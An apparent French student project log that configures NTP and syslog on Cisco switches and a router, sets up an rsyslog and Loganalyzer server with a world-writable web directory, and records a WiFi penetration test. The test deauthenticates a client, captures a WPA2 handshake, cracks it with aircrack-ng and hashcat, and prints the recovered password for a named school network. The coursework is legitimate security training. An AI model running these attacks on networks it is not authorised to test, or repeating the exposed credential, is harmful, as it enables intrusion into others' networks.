# Tâche - Résultat



# Paramètrer la centralisation des données sur l'horaire (service NTP) depuis le router vers les autres périphériques réseaux (routeur - switchs)

## Bilan des commandes SANS Internet

### Routeur

<div id="bkmrk-enable-clock-set-hh%3A"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1p"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 142.4px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 0px; visibility: hidden; pointer-events: none;">  
</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">enable</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">clock set HH:MM:SS 19 March 2026</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">configure terminal</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">clock timezone CET 1</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">ntp master 3</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">end</div></div></div><div aria-multiline="true" aria-readonly="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="tab-size: 4;" translate="no"><div class="cm-line">write memory</div></div></div></div></div>**Vérification :**

<div id="bkmrk-show-clock-show-ntp-"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1q"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 46.4px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 0px; visibility: hidden; pointer-events: none;">  
</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show clock</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show ntp status</div></div></div></div></div></div>### Switchs (les deux)

<div id="bkmrk-enable-configure-ter"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1r"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 123.2px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 0px; visibility: hidden; pointer-events: none;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">enable</div><div class="cm-gutterElement" style="height: 19.2px;">configure terminal</div><div class="cm-gutterElement" style="height: 19.2px;">clock timezone CET 1</div><div class="cm-gutterElement" style="height: 19.2px;">ntp server 192.168.99.1 // &lt;IP_du_routeur&gt;</div><div class="cm-gutterElement" style="height: 19.2px;">end</div><div class="cm-gutterElement" style="height: 19.2px;">write memory</div></div></div></div></div></div>**Vérification :**

<div id="bkmrk-show-clock-show-ntp--1"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1s"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 46.4px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show clock</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show ntp associations</div></div></div></div></div></div>### Points importants

- Ne pas mettre `clock summer-time CEST recurring` pour l'instant (on est encore en heure d'hiver, ça décalerait d'1h)
- Remplacer `<IP_du_routeur>` par une IP visible dans `show ip interface brief` sur le routeur
- Le `clock set` est à faire **avant** le `configure terminal`, sinon la commande n'est pas disponible

\--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

## Bilan des commandes AVEC Internet

### Routeur 

<div id="bkmrk-enable-configure-ter-1"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1r"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 123.2px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 0px; visibility: hidden; pointer-events: none;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">enable</div><div class="cm-gutterElement" style="height: 19.2px;">configure terminal</div><div class="cm-gutterElement" style="height: 19.2px;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">ntp server 0.fr.pool.org // serveur de google ntp 1 </div><div class="cm-gutterElement" style="height: 19.2px;">ntp server 1.fr.pool.org // serveur de google ntp 2 si il y a une dépanne d'un serveur de Google</div><div class="cm-gutterElement" style="height: 19.2px;">ntp master 3 // Car on serveur qui possède internet</div><div class="cm-gutterElement" style="height: 19.2px;">ntp source GigabitEthernet0/0/0.999 // Source vlan 999</div><div class="cm-gutterElement" style="height: 19.2px;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">exit </div><div class="cm-gutterElement" style="height: 19.2px;">write memory</div></div></div></div></div></div>### Switchs 

<div id="bkmrk-enable-configure-ter-2"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1r"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 123.2px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 0px; visibility: hidden; pointer-events: none;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">enable</div><div class="cm-gutterElement" style="height: 19.2px;">configure terminal</div><div class="cm-gutterElement" style="height: 19.2px;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">ntp server 192.168.99.1 // &lt;IP_du_routeur&gt;</div><div class="cm-gutterElement" style="height: 19.2px;">clock timezone CET 1 // Fuseau horaire Europe +1h </div><div class="cm-gutterElement" style="height: 19.2px;">clock summer-time CEST recurring last Sun Mar 2:00 last Sun Oct 3:00 // Fuseau horaire +2h si heure d'été</div><div class="cm-gutterElement" style="height: 19.2px;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">exit </div><div class="cm-gutterElement" style="height: 19.2px;">write memory</div></div></div></div></div></div>**Vérification :**

<div id="bkmrk-show-clock-show-ntp--2"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1r"><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 123.2px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 19.2px;"><div id="bkmrk-show-clock-show-ntp--3"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1s"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 46.4px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show clock</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show ntp associations</div></div></div></div></div></div></div></div></div></div></div></div>

# Dresser la liste des différents points devant faire l'objet d'un log au niveau des switch et des routeurs (en fonction de ce qu'il est possible de faire)

### Liste des points loggés

#### Sur les Switches Cisco

<div class="overflow-x-auto w-full px-2 mb-6" id="bkmrk-cat%C3%A9gorie-ce-qui-est"><table class="min-w-full border-collapse text-sm leading-[1.7] whitespace-normal"><thead class="text-left"><tr><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Catégorie</th><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Ce qui est loggé</th><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Commande</th></tr></thead><tbody><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Authentification</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Connexions réussies et échouées SSH/VTY</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`login on-success/failure log`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Configuration</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements de config</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`archive log config`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Réseau</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements d'état des interfaces (up/down)</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`logging event link-status`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">STP</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements de topologie Spanning Tree</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`spanning-tree logging`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Trunk</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements d'état des ports trunk</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`logging event trunk-status`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Système</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Logs en mémoire locale</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`logging buffered 65536 informational`</td></tr></tbody></table>

</div>#### Sur le Routeur Cisco

<div class="overflow-x-auto w-full px-2 mb-6" id="bkmrk-cat%C3%A9gorie-ce-qui-est-1"><table class="min-w-full border-collapse text-sm leading-[1.7] whitespace-normal"><thead class="text-left"><tr><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Catégorie</th><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Ce qui est loggé</th><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Commande</th></tr></thead><tbody><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Authentification</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Connexions réussies et échouées</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`login on-success/failure log`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Configuration</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements de config</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`archive log config`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Réseau</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements d'état des interfaces</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`logging event link-status`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">SSH</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Événements SSH</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`ip ssh logging events`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">NTP</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Synchronisation NTP</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`ntp logging`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">ACL</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Trafic bloqué (deny)</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`log` sur les ACL concernées</td></tr></tbody></table>

</div>

# Paramètrer les logs sur ces différents éléments sur les switchs et les routeurs

### Paramétrage des logs

#### Sur les Switches Cisco (swb - 192.168.99.14 / 192.168.99.13)<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```cisco
service timestamps log datetime msec localtime show-timezone
logging buffered 65536 informational
logging host 192.168.99.12
logging trap informational
login on-failure log
login on-success log
archive
 log config
  logging enable
  logging size 200
  notify syslog contenttype plaintext
  hidekeys
spanning-tree logging
logging event link-status  (Fa0/3,6,7,8,16,17,18,19,20,21,22)
logging event trunk-status (Fa0/23, Gi0/1, Gi0/2)
```

#### Sur le Routeur Cisco (r0 - 192.168.99.1)

```cisco
service timestamps log datetime msec localtime show-timezone
logging buffered 65536 informational
logging host 192.168.99.12
logging trap informational
ip ssh logging events
ntp logging
archive
 log config
  logging enable
  notify syslog contenttype plaintext
  hidekeys
logging event link-status (Gi0/0/0, Gi0/0/1)
line vty 0 4
 login local
 transport input ssh
```

Zéro stockage sur le switch

```cisco
! === TIMESTAMPS ===
service timestamps log datetime msec localtime show-timezone
service sequence-numbers

! === ZÉRO STOCKAGE LOCAL ===
no logging buffered
no logging console
no logging monitor
no archive log config

! === TRANSMISSION VERS LOGANALYZER ===
logging trap informational
logging source-interface Vlan999
logging on

! === AUTHENTIFICATION ===
login on-failure log
login on-success log

! === SPANNING-TREE ===
spanning-tree logging

! === ÉVÉNEMENTS PAR INTERFACE ===
interface FastEthernet0/3
 logging event link-status
interface FastEthernet0/6
 logging event link-status
interface FastEthernet0/7
 logging event link-status
interface FastEthernet0/8
 logging event link-status
interface FastEthernet0/16
 logging event link-status
interface FastEthernet0/17
 logging event link-status
interface FastEthernet0/18
 logging event link-status
interface FastEthernet0/19
 logging event link-status
interface FastEthernet0/20
 logging event link-status
interface FastEthernet0/21
 logging event link-status
interface FastEthernet0/22
 logging event link-status

! === TRUNK STATUS ===
interface FastEthernet0/23
 logging event trunk-status
interface GigabitEthernet0/1
 logging event trunk-status
interface GigabitEthernet0/2
 logging event trunk-status
```

Zéro stockage sur le routeur

```cisco
! === TIMESTAMPS ===
service timestamps log datetime msec localtime show-timezone
service sequence-numbers

! === ZÉRO STOCKAGE LOCAL ===
no logging buffered
no logging console
no logging monitor
no archive log config

! === TRANSMISSION VERS LOGANALYZER ===
logging trap informational
logging source-interface GigabitEthernet0/0/0
logging on

! === SSH & NTP ===
ip ssh logging events
ntp logging

! === ÉVÉNEMENTS PAR INTERFACE ===
interface GigabitEthernet0/0/0
 logging event link-status
interface GigabitEthernet0/0/1
 logging event link-status

! === VTY SSH ===
line vty 0 4
 login local
 transport input ssh
```

# Mettre en place un service permettant de recueillir ces logs et de pouvoir les consulter (serveur de logs)

### Serveur de logs

#### Infrastructure mise en place

<div class="overflow-x-auto w-full px-2 mb-6" id="bkmrk-composant-d%C3%A9tail-ser"><table class="min-w-full border-collapse text-sm leading-[1.7] whitespace-normal"><thead class="text-left"><tr><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Composant</th><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Détail</th></tr></thead><tbody><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Serveur</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">VM ubuntu test ProXmox</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">IP</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">192.168.99.7</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">OS</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Ubuntu 22.04.5 LTS</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Service de collecte</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">rsyslog 8.2112.0</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Interface web</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Loganalyzer 4.1.13</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Port d'écoute</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">UDP 514</td></tr></tbody></table>

</div>---

#### 1. Installation rsyslog<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```bash
sudo apt update && sudo apt install rsyslog -y
sudo systemctl enable rsyslog
sudo systemctl start rsyslog
```

#### 2. Activation réception UDP 514

Dans `/etc/rsyslog.conf`, décommenter :<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```
module(load="imudp")
input(type="imudp" port="514")
```

#### 3. Configuration du tri par équipement

`/etc/rsyslog.d/cisco.conf` :<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```
:fromhost-ip, isequal, "192.168.99.14" /var/log/cisco/switch_bat_a.log
& /var/log/cisco/all.log
& stop

:fromhost-ip, isequal, "192.168.99.13" /var/log/cisco/switch_bat_b.log
& /var/log/cisco/all.log
& stop

:fromhost-ip, isequal, "192.168.99.1" /var/log/cisco/routeur.log
& /var/log/cisco/all.log
& stop
```

#### 4. Création du dossier et droits

<div aria-label="Code bash" class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg focus:outline-none focus-visible:ring-2 focus-visible:ring-accent-100" id="bkmrk--1" role="group" tabindex="0"><div class="sticky opacity-0 group-hover/copy:opacity-100 group-focus-within/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div><div class="absolute inset-0 flex items-center justify-center"></div></div></div></div><div class="text-text-500 font-small p-3.5 pb-0"><svg aria-hidden="true" class="transition-all opacity-0 scale-50" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg></div><div class="overflow-x-auto"></div></div>```bash
sudo mkdir -p /var/log/cisco
sudo chown syslog:adm /var/log/cisco
sudo chmod 755 /var/log/cisco
sudo chmod 644 /var/log/cisco/*.log
sudo systemctl restart rsyslog
```

#### 5. Rotation des logs (365 jours)

`/etc/logrotate.d/cisco` :<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```
/var/log/cisco/*.log {
    daily
    rotate 365
    compress
    missingok
    notifempty
    postrotate
        systemctl restart rsyslog
    endscript
}
```

#### 6. Installation Loganalyzer

<div aria-label="Code bash" class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg focus:outline-none focus-visible:ring-2 focus-visible:ring-accent-100" id="bkmrk--2" role="group" tabindex="0"><div class="sticky opacity-0 group-hover/copy:opacity-100 group-focus-within/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div><div class="absolute inset-0 flex items-center justify-center"></div></div></div></div><div class="overflow-x-auto"></div></div>```bash
sudo apt install apache2 php libapache2-mod-php -y
cd /tmp
wget https://download.adiscon.com/loganalyzer/loganalyzer-4.1.13.tar.gz
tar xzvf loganalyzer-4.1.13.tar.gz
sudo cp -r loganalyzer-4.1.13/src /var/www/html/loganalyzer
sudo chmod 777 /var/www/html/loganalyzer
cd /var/www/html/loganalyzer
sudo touch config.php
sudo chmod 666 config.php
```

#### 7. Droits de lecture Loganalyzer

<div aria-label="Code bash" class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg focus:outline-none focus-visible:ring-2 focus-visible:ring-accent-100" id="bkmrk--3" role="group" tabindex="0"><div class="sticky opacity-0 group-hover/copy:opacity-100 group-focus-within/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div><div class="absolute inset-0 flex items-center justify-center"></div></div></div></div><div class="overflow-x-auto"></div></div>```bash
sudo chmod 644 /var/log/syslog
sudo chmod 644 /var/log/cisco/*.log
```

#### 8. Vérifications<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```bash
# Port 514 ouvert
sudo ss -ulnp | grep 514

# Paquets reçus
sudo tcpdump -i any port 514 -nn

# Fichiers de logs
ls /var/log/cisco/

# Logs en temps réel
tail -f /var/log/cisco/switch_bat_a.log
tail -f /var/log/cisco/switch_bat_b.log
tail -f /var/log/cisco/routeur.log

# Validation config rsyslog
sudo rsyslogd -N1 2>&1
```

#### Résultat final

- Logs reçus en temps réel depuis les 3 équipements
- Fichiers séparés par équipement
- Rotation 365 jours
- Interface web Loganalyzer accessible sur `http://192.168.99.7/loganalyzer`
- Filtrage par Facility, Severity, Hostname disponible

# Déploiement NTP + Syslog

1. NTP - Synchronisation temporelle

Objectif : Garantir une horodatage cohérent sur tous les équipements, indispensable pour corréler les logs.

- Chaque équipement Cisco (switchs + routeur) est configuré en client NTP pointant vers le serveur NTP du projet.
- La commande "ntp server &lt;IP&gt;" est appliquée sur chaque équipement.
- Le service "service timestamps log datetime msec" est ctivé pour horodater les logs avec précision (millisecondes).
- La timezone est uniformisée "clock timezone"

2\. Syslog - Centralisation des journaux

Objectif : Collecter les événements réseau de tous les équipements vers un point central pour analyse et archivage.

Sur les équipements Cisco :

- Envoi des logs vers le NAS : "logging host 192.168.99.7"
- Niveau de sévérité retenu : informational (niveau 6)
- Action des événements pertinents :  
    
    - logging buffered (tampon local)
    - archive log config (changements de configuration)
    - Spanning-Tree, authentification (login), interfaces

Sur le serveur de logs (Ubuntu 22.04.5 LTS)

- Rsyslog configuré pour recevoir les logs UDP / TCP (port 514) et les router par équipement dans "/var/log/cisco/&lt;nom-équipement&gt;.log
- Rotation des logs via "logrotate" avec rétention 365 jours (recommandation ANSSI)
- Loganalyzer déployé comme interface web de consultation et d'analyse des logs

3\. Limitation du buffer de logs sur les Cisco

Objectif : Eviter la saturation de la mémoire des switchs et routeur.

<table border="1" id="bkmrk-logging-buffered-163" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>logging buffered 16384 informational

</td></tr></tbody></table>

- 16384 octets (16Ko) - valeur raisonnable pour un swich/routeur
- Evite la consommation excessive de RAM tout en gardant un historique local court.

<table border="1" id="bkmrk-no-logging-console%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>no logging console OU logging console critical

</td></tr></tbody></table>

Le logging console est très gourmand si une session est active. Le couper ou ne garder que les événements critiques est une bonne pratique.

<table border="1" id="bkmrk-no-logging-monitor" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>no logging monitor

</td></tr></tbody></table>

Inutile en production / démo, consomme des ressources inutilement.

<table border="1" id="bkmrk-logging-host-192.168" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>logging host 192.168.99.7

logging trap informational

</td></tr></tbody></table>

Le NAS stocke, le switch transmet et puis oublie.

# Etudier les aspects techniques et mettre en oeuvre des tests de pénétration (SSID + mot de passe) sur le réseau Wifi.

### Prérequis

Avant de commencer, vérifier que la carte WiFi supporte le **mode moniteur :**

```bash
# Identifier la carte WiFi
iwconfig
airmon-ng check kill          # Stopper les processus conflictuels
airmon-ng start wlan0         # Activer le mode moniteur → wlan0mon
```

### Phase 1 &amp; 2 — Reconnaissance et scan

```bash
# Lister tous les réseaux à portée
airodump-ng wlan0mon

# Cibler la borne de test une fois le BSSID repéré
# (remplacer XX:XX:XX:XX:XX:XX et le canal réel)
airodump-ng -c <canal> --bssid XX:XX:XX:XX:XX:XX -w /root/capture/irs-si wlan0mon
```

Ce que l'on collecte : BSSID, ESSID (SSID), canal, type de chiffrement (WPA2/WPA3), RSSI, liste des clients connectés.

### Phase 3 — Capture du handshake WPA2

Le handshake 4-way s'échange lors de l'association client/AP. On force une reconnexion par déauthentification :

```bash
# Dans un second terminal (laisser airodump-ng tourner)
# -0 : nb de paquets deauth, -a : BSSID AP, -c : MAC client (optionnel)
aireplay-ng -0 5 -a XX:XX:XX:XX:XX:XX -c YY:YY:YY:YY:YY:YY wlan0mon
```

Airodump-ng affiche `WPA handshake: XX:XX:XX...` en haut à droite quand c'est capturé. Le fichier `.cap` est écrit dans `/root/capture/`.

---

### Phase 4 — Craquage du mot de passe

#### Avec aircrack-ng (dictionnaire)

```bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt \
            -b XX:XX:XX:XX:XX:XX /root/capture/irs-si-01.cap
```

#### Avec hashcat (GPU, plus rapide)

```bash
# Convertir le .cap en format hc22000
hcxtools-dpkt -o /root/capture/irs-si.hc22000 /root/capture/irs-si-01.cap
# ou :
cap2hccapx /root/capture/irs-si-01.cap /root/capture/irs-si.hccapx

# Attaque dictionnaire
hashcat -m 22000 /root/capture/irs-si.hc22000 \
        /usr/share/wordlists/rockyou.txt

# Attaque par règles (variantes communes)
hashcat -m 22000 /root/capture/irs-si.hc22000 \
        /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

---

### Phase 5 — Post-exploitation

Une fois le mot de passe obtenu :

```bash
# Reconnecter Kali sur le réseau WiFi de test
nmcli dev wifi connect "<SSID>" password "<motdepasse>" ifname wlan0

# Scan du réseau interne (VLAN 40)
nmap -sV -O 192.168.10.192/27

# Identifier hôtes actifs
nmap -sn 192.168.10.192/27
```

# Kali outil utilisé

#### Cible identifiée

- **SSID** : `Visiteurs-IRS`
- **BSSID** : `70:F3:5A:27:95:30`
- **Canal** : 1
- **Chiffrement** : WPA2 CCMP PSK
- **Puissance** : -46 dBm (signal fort, proximité immédiate)
- **WPS** : activé (avec Fern)
- **Client connecté** : `2A:B7:E8:82:79:BE`

---

#### Phase 1 — Préparation de l'interface

```bash
airmon-ng check kill
airmon-ng start wlan0mon
iwconfig wlan0mon
```

Résultat : `wlan0mon` en **Mode Monitor**, fréquence 2.442 GHz (canal 6 par défaut, reconfiguré ensuite sur canal 1).

---

#### Phase 2 — Scan des réseaux

`airodump-ng` a détecté **235 AP** au total dans l'environnement (visible dans Fern). Le scan a permis d'identifier `Visiteurs-IRS` parmi d'autres réseaux présents (StJoCampus, StJoLaSalle, StJoProf, Freebox, SNIR\_cyber, MC…).

---

#### Phase 3 — Ciblage et capture du trafic

```bash
sudo airodump-ng -c 1 --bssid 70:F3:5A:27:95:30 -w capture_wifi wlan0mon
```

Fichier créé : `capture_wifi-02.cap` — 3061 paquets capturés. Le client `2A:B7:E8:82:79:BE` est visible avec 7449 frames et des trames **EAPOL** (échanges du handshake).

---

#### Phase 4 — Déauthentification

```bash
sudo aireplay-ng --deauth 10 -a 70:F3:5A:27:95:30 -c 2A:B7:E8:82:79:BE wlan0mon
```

10 paquets DeAuth dirigés envoyés au client `2A:B7:E8:82:79:BE` entre 09:00:26 et 09:00:31. Le client a été forcé à se reconnecter, déclenchant l'échange du handshake WPA2.

---

#### Phase 5 — Validation du handshake

<div aria-label="Code bash" class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg focus:outline-none focus-visible:ring-2 focus-visible:ring-accent-100" id="bkmrk--5" role="group" tabindex="0"><div class="sticky opacity-0 group-hover/copy:opacity-100 group-focus-within/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100" style="width: 20px; height: 20px; display: flex; align-items: center; justify-content: center;"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" style="flex-shrink: 0;" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div></div></div></div><div class="overflow-x-auto">  
</div></div>```bash
sudo aircrack-ng capture_wifi-02.cap
```

Résultat : **WPA (1 handshake)** confirmé pour `Visiteurs-IRS` / `70:F3:5A:27:95:30`. Le fichier `.cap` est valide et exploitable.

---

#### Phase 6 — Craquage du mot de passe

**Tentative 1 — rockyou.txt** (14 344 391 entrées) :

- Vitesse : 3230 k/s
- Temps estimé : 1h12 — mot de passe non trouvé dans rockyou (gros fichier avec 14 millions de mot de passe)

**Tentative 2 — wordlistperso.txt** (liste personnalisée) :

```bash
sudo aircrack-ng capture_wifi-02.cap -w /home/kali/Desktop/wordlistperso.txt
```

- 7/16 clés testées en moins d'une seconde
- **KEY FOUND! \[ stjolorient \]**